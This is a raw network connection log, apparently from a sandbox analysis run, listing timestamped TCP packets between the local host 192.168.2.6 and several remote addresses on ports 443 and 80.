Oct 30, 2024 11:45:35.754152060 CET	49902	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:35.754182100 CET	443	49902	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:35.754260063 CET	49902	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:35.757949114 CET	49902	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:35.757958889 CET	443	49902	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:35.777730942 CET	443	49893	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:35.777878046 CET	443	49893	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:35.777946949 CET	49893	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:35.778134108 CET	49893	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:35.778134108 CET	49893	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:35.778151035 CET	443	49893	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:35.778167009 CET	443	49893	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:35.779104948 CET	443	49895	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:35.779207945 CET	443	49895	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:35.779690027 CET	443	49896	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:35.779745102 CET	443	49896	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:35.779763937 CET	49895	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:35.779923916 CET	49895	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:35.779928923 CET	443	49895	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:35.779934883 CET	49896	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:35.779953003 CET	49895	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:35.779958963 CET	443	49895	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:35.780760050 CET	49896	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:35.780759096 CET	49903	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:35.780769110 CET	443	49896	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:35.780787945 CET	443	49903	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:35.780790091 CET	49896	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:35.780793905 CET	443	49896	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:35.781991959 CET	49903	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:35.784017086 CET	49903	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:35.784035921 CET	443	49903	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:35.784037113 CET	49904	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:35.784070015 CET	443	49904	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:35.784482956 CET	49905	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:35.784497976 CET	443	49905	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:35.784609079 CET	49904	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:35.784676075 CET	49904	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:35.784677029 CET	49905	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:35.784691095 CET	443	49904	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:35.786245108 CET	49905	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:35.786253929 CET	443	49905	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:35.796686888 CET	49897	443	192.168.2.6	172.64.41.3
Oct 30, 2024 11:45:35.813999891 CET	49898	443	192.168.2.6	172.64.41.3
Oct 30, 2024 11:45:35.845956087 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:35.851624966 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:36.231443882 CET	443	49899	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:36.231914043 CET	49899	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:36.231923103 CET	443	49899	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:36.231930971 CET	443	49900	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:36.232194901 CET	49900	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:36.232215881 CET	443	49900	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:36.233419895 CET	443	49900	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:36.233515978 CET	49900	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:36.235095024 CET	49900	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:36.235095024 CET	49900	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:36.235120058 CET	443	49900	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:36.235181093 CET	443	49900	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:36.235457897 CET	443	49899	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:36.235599995 CET	49899	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:36.235949993 CET	49899	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:36.235949993 CET	49899	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:36.235961914 CET	443	49899	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:36.236025095 CET	443	49899	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:36.296588898 CET	49899	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:36.296590090 CET	49900	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:36.296601057 CET	443	49899	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:36.296607971 CET	443	49900	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:36.404723883 CET	49899	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:36.404746056 CET	49900	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:36.484648943 CET	443	49899	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:36.484721899 CET	443	49899	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:36.484741926 CET	443	49899	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:36.484757900 CET	443	49900	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:36.484775066 CET	49899	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:36.484778881 CET	443	49900	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:36.484783888 CET	443	49899	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:36.484787941 CET	443	49900	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:36.484797001 CET	443	49899	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:36.484807014 CET	49899	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:36.484814882 CET	443	49899	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:36.484817028 CET	443	49900	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:36.484822989 CET	443	49899	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:36.484827042 CET	443	49900	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:36.484829903 CET	443	49900	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:36.484848976 CET	443	49899	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:36.484849930 CET	49899	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:36.484847069 CET	49900	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:36.484869957 CET	443	49900	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:36.484883070 CET	49899	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:36.484884024 CET	443	49899	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:36.484889030 CET	49900	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:36.484908104 CET	49899	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:36.484924078 CET	49900	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:36.497041941 CET	443	49902	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:36.497544050 CET	49902	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:36.497555017 CET	443	49902	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:36.498029947 CET	49902	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:36.498035908 CET	443	49902	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:36.517874002 CET	443	49901	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:36.518367052 CET	49901	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:36.518402100 CET	443	49901	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:36.518798113 CET	49901	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:36.518802881 CET	443	49901	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:36.529807091 CET	443	49903	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:36.530206919 CET	49903	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:36.530226946 CET	443	49903	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:36.531373024 CET	49903	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:36.531378031 CET	443	49903	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:36.534293890 CET	443	49905	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:36.534617901 CET	49905	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:36.534632921 CET	443	49905	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:36.535001040 CET	49905	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:36.535007000 CET	443	49905	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:36.537714958 CET	443	49904	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:36.538058996 CET	49904	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:36.538079977 CET	443	49904	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:36.538494110 CET	49904	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:36.538500071 CET	443	49904	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:36.593671083 CET	49899	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:36.603264093 CET	443	49899	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:36.603291035 CET	443	49899	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:36.603308916 CET	443	49899	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:36.603327990 CET	49899	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:36.603374958 CET	49899	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:36.603398085 CET	443	49899	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:36.603418112 CET	443	49899	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:36.603449106 CET	49899	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:36.603456020 CET	443	49899	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:36.603478909 CET	49899	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:36.603502989 CET	49899	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:36.603895903 CET	443	49900	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:36.603905916 CET	443	49900	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:36.603934050 CET	443	49900	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:36.603941917 CET	443	49900	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:36.603969097 CET	49900	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:36.603991032 CET	443	49900	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:36.604005098 CET	49900	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:36.604065895 CET	49900	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:36.614721060 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:36.614803076 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:36.631704092 CET	443	49902	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:36.631742001 CET	443	49902	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:36.631788969 CET	443	49902	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:36.631846905 CET	49902	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:36.635560989 CET	49902	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:36.635576010 CET	443	49902	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:36.635586023 CET	49902	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:36.635590076 CET	443	49902	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:36.639403105 CET	49906	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:36.639455080 CET	443	49906	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:36.639592886 CET	49906	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:36.639859915 CET	49906	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:36.639873981 CET	443	49906	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:36.898252964 CET	443	49903	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:36.898269892 CET	443	49905	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:36.898310900 CET	443	49901	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:36.898329973 CET	443	49903	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:36.898345947 CET	443	49905	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:36.898462057 CET	49903	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:36.898483038 CET	49905	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:36.898483038 CET	443	49901	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:36.898586035 CET	49903	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:36.898601055 CET	443	49903	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:36.898612976 CET	49903	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:36.898612976 CET	49901	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:36.898619890 CET	443	49903	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:36.898634911 CET	443	49904	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:36.898695946 CET	443	49904	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:36.898730993 CET	443	49904	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:36.898767948 CET	49904	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:36.898958921 CET	443	49899	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:36.898993015 CET	443	49899	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:36.899003029 CET	443	49900	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:36.899014950 CET	443	49900	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:36.899019003 CET	49899	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:36.899025917 CET	443	49899	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:36.899041891 CET	443	49899	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:36.899045944 CET	443	49900	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:36.899053097 CET	49899	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:36.899061918 CET	443	49899	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:36.899106979 CET	49900	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:36.899107933 CET	49900	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:36.899127960 CET	443	49900	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:36.899130106 CET	49899	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:36.899152994 CET	49900	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:36.899156094 CET	49899	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:36.899158001 CET	443	49900	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:36.899159908 CET	443	49899	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:36.899169922 CET	443	49899	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:36.899244070 CET	49899	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:36.899247885 CET	49900	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:36.899745941 CET	49904	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:36.899770975 CET	443	49904	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:36.899820089 CET	49904	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:36.899825096 CET	443	49904	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:36.900743961 CET	49905	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:36.900743961 CET	49905	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:36.900757074 CET	443	49905	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:36.900764942 CET	443	49905	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:36.901218891 CET	49901	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:36.901237011 CET	443	49901	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:36.901247025 CET	49901	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:36.901252985 CET	443	49901	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:36.905111074 CET	443	49899	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:36.905133963 CET	443	49899	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:36.905167103 CET	49899	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:36.905174971 CET	443	49899	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:36.905191898 CET	49899	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:36.905205011 CET	443	49899	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:36.905224085 CET	49899	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:36.905250072 CET	49899	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:36.905303001 CET	443	49900	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:36.905323029 CET	443	49900	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:36.905356884 CET	49900	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:36.905368090 CET	443	49900	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:36.905380011 CET	443	49900	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:36.905391932 CET	49900	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:36.905421019 CET	49900	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:36.905427933 CET	443	49900	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:36.905442953 CET	443	49900	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:36.905494928 CET	49900	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:36.911114931 CET	49907	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:36.911134958 CET	443	49907	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:36.911220074 CET	49907	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:36.912278891 CET	49908	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:36.912308931 CET	443	49908	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:36.912403107 CET	49908	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:36.915468931 CET	49900	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:36.915487051 CET	443	49900	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:36.920830965 CET	49907	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:36.920841932 CET	443	49907	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:36.921215057 CET	49908	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:36.921236038 CET	443	49908	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:36.948935032 CET	49909	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:36.948950052 CET	443	49909	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:36.949098110 CET	49909	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:36.959364891 CET	443	49899	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:36.959414005 CET	443	49899	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:36.959451914 CET	49899	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:36.959458113 CET	443	49899	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:36.959500074 CET	49899	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:37.053209066 CET	49909	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:37.053222895 CET	443	49909	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:37.056910992 CET	49910	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:37.056932926 CET	443	49910	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:37.057007074 CET	49910	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:37.057282925 CET	49910	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:37.057296038 CET	443	49910	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:37.078037024 CET	443	49899	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:37.078095913 CET	443	49899	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:37.078121901 CET	49899	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:37.078128099 CET	443	49899	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:37.078165054 CET	49899	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:37.078182936 CET	49899	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:37.148240089 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:37.154371023 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:37.196655035 CET	443	49899	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:37.196710110 CET	443	49899	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:37.196731091 CET	49899	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:37.196737051 CET	443	49899	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:37.196769953 CET	49899	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:37.196789026 CET	49899	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:37.238395929 CET	443	49899	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:37.238468885 CET	443	49899	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:37.238482952 CET	49899	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:37.238492012 CET	443	49899	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:37.238521099 CET	49899	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:37.238544941 CET	49899	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:37.356632948 CET	443	49899	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:37.356698990 CET	443	49899	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:37.356718063 CET	49899	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:37.356735945 CET	443	49899	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:37.356770992 CET	49899	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:37.356789112 CET	49899	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:37.410459042 CET	443	49906	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:37.411040068 CET	49906	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:37.411071062 CET	443	49906	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:37.411497116 CET	49906	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:37.411504984 CET	443	49906	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:37.427175999 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:37.427246094 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:37.427256107 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:37.427309990 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:37.427361012 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:37.427371025 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:37.427417040 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:37.427448988 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:37.427457094 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:37.427486897 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:37.427515984 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:37.427552938 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:37.427556992 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:37.427588940 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:37.427601099 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:37.427623987 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:37.427633047 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:37.427678108 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:37.428011894 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:37.428080082 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:37.433185101 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:37.433243036 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:37.433244944 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:37.433295965 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:37.433295965 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:37.433414936 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:37.474980116 CET	443	49899	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:37.475039959 CET	443	49899	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:37.475054026 CET	49899	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:37.475071907 CET	443	49899	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:37.475100040 CET	49899	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:37.475121975 CET	49899	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:37.551407099 CET	443	49906	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:37.551475048 CET	443	49906	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:37.551734924 CET	49906	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:37.551785946 CET	49906	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:37.551785946 CET	49906	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:37.551810026 CET	443	49906	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:37.551820993 CET	443	49906	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:37.552638054 CET	443	49899	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:37.552689075 CET	443	49899	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:37.552722931 CET	49899	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:37.552733898 CET	443	49899	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:37.552755117 CET	49899	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:37.552771091 CET	49899	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:37.554794073 CET	49911	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:37.554821968 CET	443	49911	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:37.554928064 CET	49911	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:37.555059910 CET	49911	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:37.555072069 CET	443	49911	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:37.584367037 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:37.584403038 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:37.584439039 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:37.584466934 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:37.584510088 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:37.584517002 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:37.584547997 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:37.584578037 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:37.584603071 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:37.584630966 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:37.584638119 CET	80	49888	185.215.113.206	192.168.2.6
